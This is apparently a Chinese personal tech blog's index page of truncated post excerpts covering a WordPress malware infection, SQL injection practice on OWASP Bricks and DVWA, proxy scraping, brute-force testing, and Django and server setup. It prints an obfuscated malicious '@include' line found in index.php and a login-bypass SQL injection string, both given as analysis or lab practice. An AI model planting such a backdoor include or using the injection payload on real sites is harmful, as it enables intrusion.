关于互联网上七大姑，八大姨的一些九卦。
最近我的博客访问速度非常慢，怀疑被挂马了，一看果然如此。
打开wordpress根目录下面的index.php，发现多了一行代码：
@include "\x2fh\x6fm\x65/\x73n\x61i\x6ct\x6fd\x61y\x38s\x66n\x32a\x73i\x73l\x74t\x69o\x37d\x72a\x65y\x2fw\x77w\x72o\x6ft\x2fw\x70-\x69n\x63l\x75d\x65s\x2fi\x6da\x67e\x73/\x77l\x77……
使用的是owasp bricks，源码可以在这里下载：https://sourceforge.net/projects/owaspbricks/，然后在自己电脑上测试。
代码：
password' or '1'='1
测试
其实不用自己安装，看雪WEB安全小组与比格云合作，提供了在线测试平台：http://43.247.91.228
附其他的测试平台：
1.DVWA
DVWA是著名的OWASP开放出来的一个在线……
抓取https://list.proxylistplus.com/Socks-List-1这里的Socks5代理。
#!/usr/bin/python
import requests
import re
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:50.0) Gecko/20100101 Firefox/50.0',
}
socks5ip=open("/tmp/socks5.txt","r")
wh……
QQ群里有人发了一个网站，点进去一看，是这样的。
很简单的一个博客，除了左边的标签云中都是一些高价adsense关键字，并没有什么显眼之处，但是发链接的那个人看到的是这样的：
怎么实现的呢？
下面我们就来分析一下：
一、奇怪的JS文件
网页源码中有一行奇怪的JS文件，
<script type="text/javascript"……
一、创建php文件
首先要新建一个PHP登陆表单页面用来测试，样式如下：
代码如下：
<!DOCTYPE html>
<html>
<head>
<title>Testing Script Brute Force in Python</title>
<meta charset="utf-8">
</head>
<body>
<?php
if(isset($_POST[……
今天在注册gmail时，第一次注册成功了，也成功地用自己的手机号码接收到了电话验证码。不过由于注册时输错了账号，所以不得不删除账号，重新注册。
不过第二次注册时，输入同一个手机用来接收验证码，老是提示“此电话号码无法用于进行验证”。
后来经过一番折腾，终于找到了解决方法，原来因为是翻墙注册的，注册的第一步……
![[原创]python织梦自动发布文章脚本](http://www.snailtoday.com/wp-content/themes/presscore-lite/timthumb.php?w=200&h=140&src=http://www.snailtoday.com/wp-content/themes/presscore-lite/img/random/5.jpg "[原创]python织梦自动发布文章脚本")
from selenium import webdriver
from selenium.webdriver.support.select import Select
import time
#用webdriver启动谷歌浏览器
print("启动浏览器，打开dede登录界面")
driver = webdriver.Chrome(executable_path='C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe')
#打开d……
环境：
Python 3.5.2
Django 1.8.2
一、在Anaconda建立polls的虚拟环境。然后激活它。使用pip install Django==1.8.2 安装Django。
二、创建项目及应用
django-admin startproject mysite
cd mysite
python manage.py startapp polls
并将polls添加到setting.py的INSTALLED_APPS里面。
三、数据库
修改polls/models.py，……
要想我们的网站在服务器上运行，还需要安装nginx、svn、uwsgi、python3.0（系统自带python2.7.5）、supervisor、postgresql、pgbouncer、redis（nosql缓存根据自己代码的需要而定）。
一、安装nginx
（一）、安装相关辅件
nginx安装，需要安装pcre开发包，openssl，gcc编译源码所需的工具，zlib库，网络下载工具等。
依次……
首先准备好虚拟机软件（VMware-workstation-10.0.1）与CentOS7，操作系统win7以上版本。
一、新建虚拟机
在VMware中新建虚拟机，然后选择“自定义（高级）”
下面的命名虚拟机用默认的即可。
这里需要选择NAT方式，桥接方式不知道为什么设置后Linux系统分配不到IP上不了网
后面全部用默认方式就可以了。
二、设置Linu……
